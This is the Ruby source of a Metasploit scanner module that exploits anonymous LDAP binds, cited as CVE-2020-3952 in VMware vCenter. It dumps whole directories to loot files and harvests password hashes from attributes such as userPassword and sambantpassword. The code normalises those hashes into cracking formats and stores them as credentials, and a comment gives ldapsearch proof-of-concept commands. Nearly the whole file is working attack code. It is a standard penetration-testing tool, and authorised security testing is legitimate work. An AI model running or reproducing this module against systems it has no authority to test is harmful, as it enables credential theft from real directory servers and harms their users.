This Metasploit module uses an anonymous-bind LDAP connection to dump data from an LDAP server. Searching for attributes with user credentials (e.g. userPassword).
bc4bf555faaf6cbcb6c6acfe391203df90e551f5ade1c9d1f23102fe3e5efb6f
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LDAP Information Disclosure',
'Description' => %q{
This module uses an anonymous-bind LDAP connection to dump data from
an LDAP server. Searching for attributes with user credentials
(e.g. userPassword).
},
'Author' => [
'Hynek Petrak' # Discovery, module
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
],
'DisclosureDate' => '2020-07-23',
'License' => MSF_LICENSE,
'Actions' => [
['Dump', { 'Description' => 'Dump all LDAP data' }]
],
'DefaultAction' => 'Dump',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 636
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']),
OptString.new('PASS_ATTR', [
true, 'LDAP attribute, that contains password hashes',
'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword'
# Other potential candidates:
# ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory
])
])
end
def user_attr
@user_attr ||= 'dn'
end
def print_ldap_error(ldap)
opres = ldap.get_operation_result
msg = "LDAP error #{opres.code}: #{opres.message}"
unless opres.error_message.to_s.empty?
msg += " - #{opres.error_message}"
end
print_error("#{ldap.peerinfo} #{msg}")
end
# PoC using ldapsearch(1):
#
# Retrieve root DSE with base DN:
# ldapsearch -xb "" -s base -H ldap://[redacted]
#
# Dump data using discovered base DN:
# ldapsearch -xb bind_dn -H ldap://[redacted] \* + -
def run_host(ip)
@rhost = ip
@read_timeout = datastore['READ_TIMEOUT'] || 600
entries_returned = 0
ldap_new do |ldap|
if ldap.get_operation_result.code == 0
vprint_status("#{ldap.peerinfo} LDAP connection established")
else
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind
print_ldap_error(ldap)
end
@rhost = ldap.peerhost
@rport = ldap.peerport
if (base_dn_tmp = datastore['BASE_DN'])
vprint_status("#{ldap.peerinfo} User-specified base DN: #{base_dn_tmp}")
naming_contexts = [base_dn_tmp]
else
vprint_status("#{ldap.peerinfo} Discovering base DN(s) automatically")
naming_contexts = ldap.naming_contexts
print_ldap_error(ldap) unless ldap.get_operation_result.code == 0
if naming_contexts.nil? || naming_contexts.empty?
vprint_warning("#{ldap.peerinfo} Falling back to an empty base DN")
naming_contexts = ['']
end
end
@max_loot = datastore['MAX_LOOT']
@user_attr ||= datastore['USER_ATTR']
@user_attr ||= 'dn'
vprint_status("#{ldap.peerinfo} Taking '#{@user_attr}' attribute as username")
pass_attr ||= datastore['PASS_ATTR']
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
# Dump root DSE for useful information, e.g. dir admin
if @max_loot.nil? || (@max_loot > 0)
print_status("#{ldap.peerinfo} Dumping data for root DSE")
ldap_search(ldap, 'root DSE', {
ignore_server_caps: true,
scope: Net::LDAP::SearchScope_BaseObject
})
end
naming_contexts.each do |base_dn|
print_status("#{ldap.peerinfo} Searching base DN='#{base_dn}'")
entries_returned += ldap_search(ldap, base_dn, {
base: base_dn
})
end
end
# Safe if server did not returned anything
unless (entries_returned > 0)
fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
end
def ldap_search(ldap, base_dn, args)
entries_returned = 0
creds_found = 0
def_args = {
base: '',
return_result: false,
attributes: %w[* + -]
}
Tempfile.create do |f|
f.write("# LDIF dump of #{ldap.peerinfo}, base DN='#{base_dn}'\n")
f.write("\n")
begin
# HACK: fix lack of read/write timeout in Net::LDAP
Timeout.timeout(@read_timeout) do
ldap.search(def_args.merge(args)) do |entry|
entries_returned += 1
if @max_loot.nil? || (entries_returned <= @max_loot)
f.write("# #{entry.dn}\n")
f.write(entry.to_ldif.force_encoding('utf-8'))
f.write("\n")
end
@pass_attr_array.each do |attr|
if entry[attr].any?
creds_found += process_hash(entry, attr)
end
end
end
end
rescue Timeout::Error
print_error("#{ldap.peerinfo} Host timeout reached while searching '#{base_dn}'")
return entries_returned
ensure
unless ldap.get_operation_result.code == 0
print_ldap_error(ldap)
end
if entries_returned > 0
print_status("#{ldap.peerinfo} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
f.rewind
pillage(f.read, base_dn)
elsif ldap.get_operation_result.code == 0
print_error("#{ldap.peerinfo} No entries returned for '#{base_dn}'.")
end
end
end
entries_returned
end
def pillage(ldif, base_dn)
vprint_status("Storing LDAP data for base DN='#{base_dn}' in loot")
ltype = base_dn.clone
ltype.gsub!(/ /, '_')
ltype.gsub!(/,/, '.')
ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '')
ltype.gsub!(/[^a-z0-9._-]+/i, '')
ltype = ltype.last(16)
ldif_filename = store_loot(
ltype, # ltype
'text/plain', # ctype
@rhost, # host
ldif, # data
nil, # filename
"Base DN: #{base_dn.gsub(/[^[:print:]]/, '')}" # info, remove null char from base_dn
)
unless ldif_filename
print_error('Could not store LDAP data in loot')
return
end
print_good("Saved LDAP data to #{ldif_filename}")
end
def decode_pwdhistory(hash)
# https://ldapwiki.com/wiki/PwdHistory
parts = hash.split('#', 4)
unless parts.length == 4
return hash
end
hash = parts.last
unless hash.starts_with?('{')
decoded = Base64.decode64(hash)
if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil?
return decoded
end
end
hash
end
def process_hash(entry, attr)
service_details = {
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: @rhost,
port: @rport,
protocol: 'tcp',
service_name: 'ldap'
}
creds_found = 0
# This is the "username"
dn = entry[@user_attr].first # .dn
entry[attr].each do |hash|
if attr == 'pwdhistory'
hash = decode_pwdhistory(hash)
end
# 20170619183528ZHASHVALUE
if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i)
hash.slice!(/\d{14}Z/i)
end
# Cases *[crypt}, !{crypt} ...
hash.gsub!(/.?{crypt}/i, '{crypt}')
# We observe some servers base64 encdode the hash string
# and add {crypt} prefix to the base64 encoded value
# e2NyeXB0f in base64 means {crypt
# e3NtZD is {smd
if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/)
begin
hash = Base64.strict_decode64(hash.delete_prefix('{crypt}'))
rescue ArgumentError
nil
end
end
# Some have new lines at the end
hash.chomp!
# Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, ****
if hash.nil? || hash.empty? ||
(hash.start_with?(/{crypt}/i) && hash.length < 10) ||
hash.start_with?('*****') ||
hash.start_with?(/yyyyyy/i) ||
hash == '*' ||
hash.end_with?('*LK*', # account locked
'*NP*') || # password has never been set
# reject {SASL} pass-through
hash =~ /{sasl}/i ||
hash.start_with?(/xxxxx/i) ||
(attr =~ /^samba(lm|nt)password$/ &&
(hash.length != 32 ||
hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i ||
hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) ||
# observed sambapassword history with either 56 or 64 zeros
(attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/)
next
end
case attr
when 'sambalmpassword'
hash_format = 'lm'
when 'sambantpassword'
hash_format = 'nt'
when 'sambapasswordhistory'
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
# where the left part is a salt and the right part is MD5(Salt+NTHash)
# attribute value may contain multiple concatenated history entries
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
hash_format = 'sambapasswordhistory'
when 'krbprincipalkey'
hash_format = 'krbprincipal'
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
# Salted with principal name:
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
# In the meantime, dump the base64 encoded value.
hash = Base64.strict_encode64(hash)
when 'userpkcs12'
# if we get non printable chars, encode into base64
if (hash =~ /[^[:print:]]/).nil?
hash_format = 'pkcs12'
else
hash_format = 'pkcs12-base64'
hash = Base64.strict_encode64(hash)
end
else
if hash.start_with?(/{crypt}.?\$1\$/i)
hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
hash_format = 'md5crypt'
elsif hash.start_with?(/{crypt}/i) && hash.length == 20
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
hash.slice!(/{crypt}/i)
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?
# identify_hash returns des,crypt, while JtR acceppts descrypt
hash_format = 'descrypt'
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter
# elsif hash.start_with?(/{sha256}/i)
# hash.slice!(/{sha256}/i)
# hash_format = 'raw-sha256'
else
# handle vcenter vmdir binary hash format
if hash[0].ord == 1 && hash.length == 81
_type, hash, salt = hash.unpack('CH128H32')
hash = "$dynamic_82$#{hash}$HEX$#{salt}"
else
# Remove LDAP's {crypt} prefix from known hash types
hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
end
hash_format = Metasploit::Framework::Hashes.identify_hash(hash)
end
end
# highlight unresolved hashes
hash_format = '{crypt}' if hash =~ /{crypt}/i
print_good("#{@rhost}:#{@rport} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
# known hash types should have been identified,
# let's assume the rest are clear text passwords
if hash_format.nil? || hash_format.empty?
credential = create_credential(service_details.merge(
username: dn,
private_data: hash,
private_type: :password
))
else
credential = create_credential(service_details.merge(
username: dn,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: hash_format
))
end
create_credential_login({
core: credential,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details))
creds_found += 1
end
creds_found
end
end